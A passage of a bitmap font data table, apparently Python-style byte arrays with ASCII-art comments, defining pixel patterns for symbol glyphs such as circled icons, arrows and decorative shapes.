0xE5, 0xE0, # OOO O OOOO
0xCD, 0xE0, # OO OO OOOO
0xC0, 0xE0, # OO OOO
0xFD, 0xE0, # OOOOOO OOOO
0x7D, 0xC0, # OOOOO OOO
0x3F, 0x80, # OOOOOOO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3408 '' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x3F, 0x80, # OOOOOOO
0x70, 0xC0, # OOO OO
0xF7, 0xE0, # OOOO OOOOOO
0xF7, 0xE0, # OOOO OOOOOO
0xF1, 0xE0, # OOOO OOOO
0xFE, 0xE0, # OOOOOOO OOO
0xFE, 0xE0, # OOOOOOO OOO
0x71, 0xC0, # OOO OOO
0x3F, 0x80, # OOOOOOO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3440 '' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x3F, 0x80, # OOOOOOO
0x70, 0xC0, # OOO OO
0xE7, 0xE0, # OOO OOOOOO
0xEF, 0xE0, # OOO OOOOOOO
0xE1, 0xE0, # OOO OOOO
0xEE, 0xE0, # OOO OOO OOO
0xEE, 0xE0, # OOO OOO OOO
0x71, 0xC0, # OOO OOO
0x3F, 0x80, # OOOOOOO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3472 '' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x3F, 0x80, # OOOOOOO
0x60, 0xC0, # OO OO
0xFF, 0xE0, # OOOOOOOOOOO
0xFD, 0xE0, # OOOOOO OOOO
0xFB, 0xE0, # OOOOO OOOOO
0xF7, 0xE0, # OOOO OOOOOO
0xFF, 0xE0, # OOOOOOOOOOO
0x6F, 0xC0, # OO OOOOOO
0x3F, 0x80, # OOOOOOO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3504 '' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x3F, 0x80, # OOOOOOO
0x71, 0xC0, # OOO OOO
0xEE, 0xE0, # OOO OOO OOO
0xE4, 0xE0, # OOO O OOO
0xF1, 0xE0, # OOOO OOOO
0xFE, 0xE0, # OOOOOOO OOO
0xFF, 0xE0, # OOOOOOOOOOO
0x71, 0xC0, # OOO OOO
0x3F, 0x80, # OOOOOOO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3536 '' (10 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1E, 0x00, # OOOO
0x3F, 0x00, # OOOOOO
0x73, 0x80, # OOO OOO
0xED, 0xC0, # OOO OO OOO
0xED, 0xC0, # OOO OO OOO
0xFD, 0xC0, # OOOOOO OOO
0xFD, 0xC0, # OOOOOO OOO
0xFD, 0xC0, # OOOOOO OOO
0x63, 0x80, # OO OOO
0x3F, 0x00, # OOOOOO
0x1E, 0x00, # OOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3568 '' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x3F, 0x80, # OOOOOOO
0x6C, 0x40, # OO OO O
0xCB, 0xA0, # OO O OOO O
0xEB, 0xA0, # OOO O OOO O
0xEB, 0xA0, # OOO O OOO O
0xEB, 0xA0, # OOO O OOO O
0xEB, 0xA0, # OOO O OOO O
0x6C, 0x40, # OO OO O
0x3F, 0x80, # OOOOOOO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3600 '' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x30, 0x3C, # OO OOOO
0x43, 0x68, # O OO OO O
0x87, 0x88, # O OOOO O
0x84, 0xB0, # O O O OO
0x80, 0xCC, # O OO OO
0x41, 0x84, # O OO O
0x3E, 0x8C, # OOOOO O OO
0x00, 0x78, # OOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3632 '' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0xF0, 0x30, # OOOO OO
0x9B, 0x08, # O OO OO O
0x47, 0x84, # O OOOO O
0x34, 0x84, # OO O O O
0xCC, 0x04, # OO OO O
0x86, 0x08, # O OO O
0xC5, 0xF0, # OO O OOOOO
0x78, 0x00, # OOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3664 '' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x78, 0x00, # OOOO
0xC5, 0xF0, # OO O OOOOO
0x86, 0x08, # O OO O
0x8C, 0x04, # O OO O
0x74, 0x84, # OOO O O O
0x47, 0x84, # O OOOO O
0x9B, 0x08, # O OO OO O
0xF0, 0x30, # OOOO OO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3696 '' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x78, # OOOO
0x3E, 0x8C, # OOOOO O OO
0x41, 0x84, # O OO O
0x80, 0xC4, # O OO O
0x84, 0xB8, # O O O OOO
0x87, 0x88, # O OOOO O
0x43, 0x68, # O OO OO O
0x30, 0x3C, # OO OOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3728 '' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x18, 0x00, # OO
0x1E, 0x00, # OOOO
0x02, 0x38, # O OOO
0x3F, 0x7C, # OOOOOO OOOOO
0xED, 0xEC, # OOO OO OOOO OO
0xCB, 0xF8, # OO O OOOOOOO
0x4F, 0x80, # O OOOOO
0x07, 0x00, # OOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3760 '' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x60, # OO
0x01, 0xE0, # OOOO
0x71, 0x00, # OOO O
0xFF, 0xF0, # OOOOOOOOOOOO
0xDE, 0xDC, # OO OOOO OO OOO
0x7F, 0x4C, # OOOOOOO O OO
0x07, 0xC8, # OOOOO O
0x03, 0x80, # OOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3792 '' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x03, 0x80, # OOO
0x07, 0xC8, # OOOOO O
0xFF, 0x4C, # OOOOOOOO O OO
0xDE, 0xDC, # OO OOOO OO OOO
0x75, 0xF0, # OOO O OOOOO
0x03, 0x40, # OO O
0x01, 0xE0, # OOOO
0x00, 0xE0, # OOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3824 '' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x07, 0x00, # OOO
0x4F, 0x80, # O OOOOO
0xCB, 0xFC, # OO O OOOOOOOO
0xED, 0xEC, # OOO OO OOOO OO
0x3F, 0x38, # OOOOOO OOO
0x12, 0x00, # O O
0x1E, 0x00, # OOOO
0x1C, 0x00, # OOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3856 '' (2 pixels wide)
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0xC0, # OO
0xC0, # OO
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
# @3872 '' (4 pixels wide)
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x60, # OO
0xF0, # OOOO
0xF0, # OOOO
0x60, # OO
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
# @3888 ' ' (2 pixels wide)
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0xC0, # OO
0xC0, # OO
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
# @3904 '¡' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x3F, 0x80, # OOOOOOO
0x71, 0xC0, # OOO OOO
0xE0, 0xE0, # OOO OOO
0xC0, 0x60, # OO OO
0xC0, 0x60, # OO OO
0xC0, 0x60, # OO OO
0xE0, 0xE0, # OOO OOO
0x71, 0xC0, # OOO OOO
0x3F, 0x80, # OOOOOOO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3936 '¢' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x3F, 0x80, # OOOOOOO
0x71, 0xC0, # OOO OOO
0xE0, 0xE0, # OOO OOO
0xC0, 0x60, # OO OO
0xC0, 0x60, # OO OO
0xC0, 0x60, # OO OO
0xE0, 0xE0, # OOO OOO
0x71, 0xC0, # OOO OOO
0x3F, 0x80, # OOOOOOO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @3968 '£' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x3F, 0x80, # OOOOOOO
0x7F, 0xC0, # OOOOOOOOO
0xF1, 0xE0, # OOOO OOOO
0xE0, 0xE0, # OOO OOO
0xE0, 0xE0, # OOO OOO
0xE0, 0xE0, # OOO OOO
0xF1, 0xE0, # OOOO OOOO
0x7F, 0xC0, # OOOOOOOOO
0x3F, 0x80, # OOOOOOO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4000 '¤' (12 pixels wide)
0x00, 0x00, #
0x0F, 0x00, # OOOO
0x3F, 0xC0, # OOOOOOOO
0x70, 0xE0, # OOO OOO
0x60, 0x60, # OO OO
0xC6, 0x30, # OO OO OO
0xCF, 0x30, # OO OOOO OO
0xCF, 0x30, # OO OOOO OO
0xC6, 0x30, # OO OO OO
0x60, 0x60, # OO OO
0x70, 0xE0, # OOO OOO
0x3F, 0xC0, # OOOOOOOO
0x0F, 0x00, # OOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4032 '¥' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x3F, 0x80, # OOOOOOO
0x71, 0xC0, # OOO OOO
0xEE, 0xE0, # OOO OOO OOO
0xDF, 0x60, # OO OOOOO OO
0xDF, 0x60, # OO OOOOO OO
0xDF, 0x60, # OO OOOOO OO
0xEE, 0xE0, # OOO OOO OOO
0x71, 0xC0, # OOO OOO
0x3F, 0x80, # OOOOOOO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4064 '¦' (12 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x07, 0x80, # OOOO
0x3F, 0xC0, # OOOOOOOO
0x60, 0xE0, # OO OOO
0x40, 0x70, # O OOO
0x80, 0x30, # O OO
0x80, 0x30, # O OO
0x80, 0x30, # O OO
0x80, 0x20, # O O
0x40, 0x60, # O OO
0x20, 0xC0, # O OO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4096 '§' (4 pixels wide)
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0xF0, # OOOO
0xF0, # OOOO
0xF0, # OOOO
0xF0, # OOOO
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
# @4112 '¨' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xFF, 0xE0, # OOOOOOOOOOO
0xFF, 0xE0, # OOOOOOOOOOO
0xC0, 0x60, # OO OO
0xC0, 0x60, # OO OO
0xC0, 0x60, # OO OO
0xC0, 0x60, # OO OO
0xC0, 0x60, # OO OO
0xC0, 0x60, # OO OO
0xC0, 0x60, # OO OO
0xFF, 0xE0, # OOOOOOOOOOO
0xFF, 0xE0, # OOOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4144 '©' (7 pixels wide)
0x00, #
0x00, #
0x10, # O
0x10, # O
0x10, # O
0x10, # O
0x38, # OOO
0x38, # OOO
0x7C, # OOOOO
0x82, # O O
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
# @4160 'ª' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x04, 0x00, # O
0x04, 0x00, # O
0x04, 0x00, # O
0x0E, 0x00, # OOO
0x1F, 0x00, # OOOOO
0xFF, 0xE0, # OOOOOOOOOOO
0x1F, 0x00, # OOOOO
0x0E, 0x00, # OOO
0x04, 0x00, # O
0x04, 0x00, # O
0x04, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4192 '«' (8 pixels wide)
0x00, #
0x00, #
0x00, #
0x10, # O
0x18, # OO
0x18, # OO
0xFF, # OOOOOOOO
0x7E, # OOOOOO
0x3C, # OOOO
0x3C, # OOOO
0x66, # OO OO
0x42, # O O
0x00, #
0x00, #
0x00, #
0x00, #
# @4208 '¬' (7 pixels wide)
0x00, #
0x00, #
0x10, # O
0x10, # O
0x10, # O
0xFE, # OOOOOOO
0x7C, # OOOOO
0x7C, # OOOOO
0x7C, # OOOOO
0xFE, # OOOOOOO
0x10, # O
0x10, # O
0x10, # O
0x00, #
0x00, #
0x00, #
# @4224 '' (2 pixels wide)
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
# @4240 '®' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x04, 0x00, # O
0x15, 0x00, # O O O
0x1F, 0x00, # OOOOO
0x7F, 0xC0, # OOOOOOOOO
0x3F, 0x80, # OOOOOOO
0xFF, 0xE0, # OOOOOOOOOOO
0x3F, 0x80, # OOOOOOO
0x7F, 0xC0, # OOOOOOOOO
0x1F, 0x00, # OOOOO
0x15, 0x00, # O O O
0x04, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4272 '¯' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x04, 0x00, # O
0x04, 0x00, # O
0x3B, 0x80, # OOO OOO
0x3D, 0x80, # OOOO OO
0x2B, 0x80, # O O OOO
0xD7, 0xE0, # OO O OOOOOO
0x3E, 0x80, # OOOOO O
0x37, 0x80, # OO OOOO
0x3F, 0x80, # OOOOOOO
0x04, 0x00, # O
0x04, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4304 '°' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x04, 0x00, # O
0x04, 0x00, # O
0x7F, 0xC0, # OOOOOOOOO
0x44, 0x40, # O O O
0x44, 0x40, # O O O
0xF1, 0xE0, # OOOO OOOO
0x44, 0x40, # O O O
0x44, 0x40, # O O O
0x7F, 0xC0, # OOOOOOOOO
0x04, 0x00, # O
0x04, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4336 '±' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x04, 0x00, # O
0x04, 0x00, # O
0x1F, 0x00, # OOOOO
0x35, 0x80, # OO O OO
0x24, 0x80, # O O O
0xFB, 0xE0, # OOOOO OOOOO
0x24, 0x80, # O O O
0x35, 0x80, # OO O OO
0x1F, 0x00, # OOOOO
0x04, 0x00, # O
0x04, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4368 '²' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x04, 0x00, # O
0x04, 0x00, # O
0x0A, 0x00, # O O
0x0A, 0x00, # O O
0x31, 0x80, # OO OO
0xC0, 0x60, # OO OO
0x31, 0x80, # OO OO
0x0A, 0x00, # O O
0x0A, 0x00, # O O
0x04, 0x00, # O
0x04, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4400 '³' (8 pixels wide)
0x00, #
0x00, #
0x00, #
0x00, #
0x81, # O O
0xFE, # OOOOOOO
0x42, # O O
0x42, # O O
0x42, # O O
0x42, # O O
0xBE, # O OOOOO
0xC1, # OO O
0x00, #
0x00, #
0x00, #
0x00, #
# @4416 '´' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x04, 0x00, # O
0x0E, 0x00, # OOO
0x1B, 0x00, # OO OO
0x31, 0x80, # OO OO
0x4E, 0x40, # O OOO O
0x80, 0x20, # O O
0x44, 0x40, # O O O
0x31, 0x80, # OO OO
0x1B, 0x00, # OO OO
0x0E, 0x00, # OOO
0x04, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4448 'µ' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x3B, 0x80, # OOO OOO
0x7B, 0xC0, # OOOO OOOO
0xF1, 0xE0, # OOOO OOOO
0x80, 0x20, # O O
0xC0, 0x60, # OO OO
0xE0, 0xE0, # OOO OOO
0xE0, 0xE0, # OOO OOO
0x6E, 0xC0, # OO OOO OO
0x5F, 0x80, # O OOOOOO
0x3F, 0x00, # OOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4480 '¶' (9 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x08, 0x00, # O
0x1C, 0x00, # OOO
0x2C, 0x00, # O OO
0xE7, 0x80, # OOO OOOO
0x81, 0x00, # O O
0x42, 0x00, # O O
0x42, 0x00, # O O
0x7B, 0x00, # OOOO OO
0x47, 0x00, # O OOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4512 '·' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x24, 0x80, # O O O
0x44, 0x40, # O O O
0x86, 0x20, # O OO O
0x84, 0x20, # O O O
0xC4, 0x60, # OO O OO
0x84, 0x20, # O O O
0x80, 0x20, # O O
0x40, 0x40, # O O
0x24, 0x80, # O O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4544 '¸' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x24, 0x80, # O O O
0x44, 0x40, # O O O
0x84, 0x20, # O O O
0x85, 0x20, # O O O O
0xC6, 0x60, # OO OO OO
0x84, 0x20, # O O O
0x80, 0x20, # O O
0x40, 0x40, # O O
0x24, 0x80, # O O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4576 '¹' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x24, 0x80, # O O O
0x44, 0x40, # O O O
0x84, 0xA0, # O O O O
0x84, 0x20, # O O O
0xC7, 0x60, # OO OOO OO
0x84, 0x20, # O O O
0x80, 0x20, # O O
0x40, 0x40, # O O
0x24, 0x80, # O O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4608 'º' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x24, 0x80, # O O O
0x44, 0x40, # O O O
0x84, 0x20, # O O O
0x84, 0x20, # O O O
0xC4, 0x60, # OO O OO
0x86, 0x20, # O OO O
0x80, 0x20, # O O
0x40, 0x40, # O O
0x24, 0x80, # O O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4640 '»' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x24, 0x80, # O O O
0x44, 0x40, # O O O
0x84, 0x20, # O O O
0x84, 0x20, # O O O
0xC4, 0x60, # OO O OO
0x84, 0x20, # O O O
0x82, 0x20, # O O O
0x40, 0x40, # O O
0x24, 0x80, # O O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4672 '¼' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x24, 0x80, # O O O
0x44, 0x40, # O O O
0x84, 0x20, # O O O
0x84, 0x20, # O O O
0xC4, 0x60, # OO O OO
0x84, 0x20, # O O O
0xC4, 0xA0, # OO O O O
0x51, 0x40, # O O O O
0x24, 0x80, # O O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4704 '½' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x24, 0x80, # O O O
0x44, 0x40, # O O O
0x84, 0x20, # O O O
0x84, 0x20, # O O O
0xC4, 0x60, # OO O OO
0x84, 0x20, # O O O
0x88, 0x20, # O O O
0x40, 0x40, # O O
0x24, 0x80, # O O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4736 '¾' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x24, 0x80, # O O O
0x44, 0x40, # O O O
0x84, 0x20, # O O O
0x84, 0x20, # O O O
0xC4, 0x60, # OO O OO
0x8C, 0x20, # O OO O
0x80, 0x20, # O O
0x40, 0x40, # O O
0x24, 0x80, # O O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4768 '¿' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x24, 0x80, # O O O
0x44, 0x40, # O O O
0xA4, 0x20, # O O O O
0x84, 0x20, # O O O
0xDC, 0x60, # OO OOO OO
0x84, 0x20, # O O O
0x80, 0x20, # O O
0x40, 0x40, # O O
0x24, 0x80, # O O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4800 'À' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x24, 0x80, # O O O
0x44, 0x40, # O O O
0x84, 0x20, # O O O
0x94, 0x20, # O O O O
0xCC, 0x60, # OO OO OO
0x84, 0x20, # O O O
0x80, 0x20, # O O
0x40, 0x40, # O O
0x24, 0x80, # O O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4832 'Á' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x24, 0x80, # O O O
0x44, 0x40, # O O O
0x8C, 0x20, # O OO O
0x84, 0x20, # O O O
0xC4, 0x60, # OO O OO
0x84, 0x20, # O O O
0x80, 0x20, # O O
0x40, 0x40, # O O
0x24, 0x80, # O O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4864 'Â' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x24, 0x80, # O O O
0x44, 0x40, # O O O
0x84, 0x20, # O O O
0x84, 0x20, # O O O
0xC4, 0x60, # OO O OO
0x84, 0x20, # O O O
0x80, 0x20, # O O
0x40, 0x40, # O O
0x24, 0x80, # O O O
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @4896 'Ã' (11 pixels wide)
0x00, 0x00, #
0x02, 0x20, # O O
0x03, 0x60, # OO OO
0x02, 0xA0, # O O O
0x02, 0x20, # O O
0x0A, 0x20, # O O O
0x1A, 0x20, # OO O O
0x2F, 0xC0, # O OOOOOO
0x40, 0xC0, # O OO
0x81, 0x80, # O OO
0x43, 0x00, # O OO
0x2E, 0x00, # O OOO
0x18, 0x00, # OO
0x08, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
# @4928 'Ä' (11 pixels wide)
0x00, 0x00, #
0x88, 0x00, # O O
0xD8, 0x00, # OO OO
0xA8, 0x00, # O O O
0x88, 0x00, # O O
0x8A, 0x00, # O O O
0x8B, 0x00, # O O OO
0x7E, 0x80, # OOOOOO O
0x60, 0x40, # OO O
0x30, 0x20, # OO O
0x18, 0x40, # OO O
0x0E, 0x80, # OOO O
0x03, 0x00, # OO
0x02, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
# @4960 'Å' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x08, 0x00, # O
0x18, 0x00, # OO
0x2E, 0x00, # O OOO
0x43, 0x00, # O OO
0x81, 0x80, # O OO
0x40, 0xC0, # O OO
0x2F, 0xC0, # O OOOOOO
0x1A, 0x20, # OO O O
0x0A, 0x20, # O O O
0x02, 0x20, # O O
0x02, 0xA0, # O O O
0x03, 0x60, # OO OO
0x02, 0x20, # O O
0x00, 0x00, #
# @4992 'Æ' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x02, 0x00, # O
0x03, 0x00, # OO
0x0E, 0x80, # OOO O
0x18, 0x40, # OO O
0x30, 0x20, # OO O
0x60, 0x40, # OO O
0x7E, 0x80, # OOOOOO O
0x8B, 0x00, # O O OO
0x8A, 0x00, # O O O
0x88, 0x00, # O O
0xA8, 0x00, # O O O
0xD8, 0x00, # OO OO
0x88, 0x00, # O O
0x00, 0x00, #
# @5024 'Ç' (13 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x08, 0x00, # O
0x14, 0x00, # O O
0x22, 0x00, # O O
0x41, 0x00, # O O
0xE3, 0x80, # OOO OOO
0x22, 0x00, # O O
0x33, 0xF8, # OO OOOOOOO
0x1A, 0x10, # OO O O
0x0E, 0x20, # OOO O
0x06, 0x10, # OO O
0x01, 0xF8, # OOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @5056 'È' (13 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x80, # O
0x01, 0x40, # O O
0x02, 0x20, # O O
0x04, 0x10, # O O
0x0E, 0x38, # OOO OOO
0x02, 0x20, # O O
0xFE, 0x60, # OOOOOOO OO
0x42, 0xC0, # O O OO
0x23, 0x80, # O OOO
0x43, 0x00, # O OO
0xFC, 0x00, # OOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @5088 'É' (13 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x01, 0xF8, # OOOOOO
0x06, 0x10, # OO O
0x0E, 0x20, # OOO O
0x1A, 0x10, # OO O O
0x33, 0xF8, # OO OOOOOOO
0x22, 0x00, # O O
0xE3, 0x80, # OOO OOO
0x41, 0x00, # O O
0x22, 0x00, # O O
0x14, 0x00, # O O
0x08, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @5120 'Ê' (13 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xFC, 0x00, # OOOOOO
0x43, 0x00, # O OO
0x23, 0x80, # O OOO
0x42, 0xC0, # O O OO
0xFE, 0x60, # OOOOOOO OO
0x02, 0x20, # O O
0x0E, 0x38, # OOO OOO
0x04, 0x10, # O O
0x02, 0x20, # O O
0x01, 0x40, # O O
0x00, 0x80, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @5152 'Ë' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xC0, 0x0C, # OO OO
0xB0, 0x3C, # O OO OOOO
0xF8, 0x74, # OOOOO OOO O
0x48, 0x4C, # O O O OO
0x7C, 0xB8, # OOOOO O OOO
0x34, 0xF0, # OO O OOOO
0x0C, 0xC0, # OO OO
0x0C, 0xC0, # OO OO
0x3C, 0xF0, # OOOO OOOO
0x74, 0xF8, # OOO O OOOOO
0x48, 0x78, # O O OOOO
0xB8, 0x3C, # O OOO OOOO
0xF0, 0x34, # OOOO OO O
0xC0, 0x0C, # OO OO
# @5184 'Ì' (15 pixels wide)
0x00, 0x00, #
0xFF, 0xFE, # OOOOOOOOOOOOOOO
0xAF, 0xF2, # O O OOOOOOOO O
0xA7, 0xCE, # O O OOOOO OOO
0xD3, 0x92, # OO O OOO O O
0xC9, 0x26, # OO O O O OO
0xE5, 0xCE, # OOO O OOO OOO
0xFD, 0x3E, # OOOOOO O OOOOO
0xFF, 0xFE, # OOOOOOOOOOOOOOO
0xF1, 0x5E, # OOOO O O OOOO
0xEF, 0x6E, # OOO OOOO OO OOO
0xD9, 0xB6, # OO OO OO OO OO
0x93, 0x96, # O O OOO O OO
0xE7, 0xCA, # OOO OOOOO O O
0x9F, 0xEA, # O OOOOOOOO O O
0xFF, 0xFE, # OOOOOOOOOOOOOOO
# @5216 'Í' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1C, 0x18, # OOO OO
0x3E, 0x7C, # OOOOO OOOOO
0x71, 0xF0, # OOO OOOOO
0x61, 0xC0, # OO OOO
0x63, 0x00, # OO OO
0x65, 0xC0, # OO O OOO
0x68, 0x60, # OO O OO
0x30, 0x60, # OO OO
0x28, 0x60, # O O OO
0x6F, 0xE0, # OO OOOOOOO
0x63, 0xC0, # OO OOOO
0xE0, 0x00, # OOO
0xE0, 0x00, # OOO
0xC0, 0x00, # OO
# @5248 'Î' (14 pixels wide)
0x00, 0x00, #
0xE0, 0x00, # OOO
0xF9, 0xF0, # OOOOO OOOOO
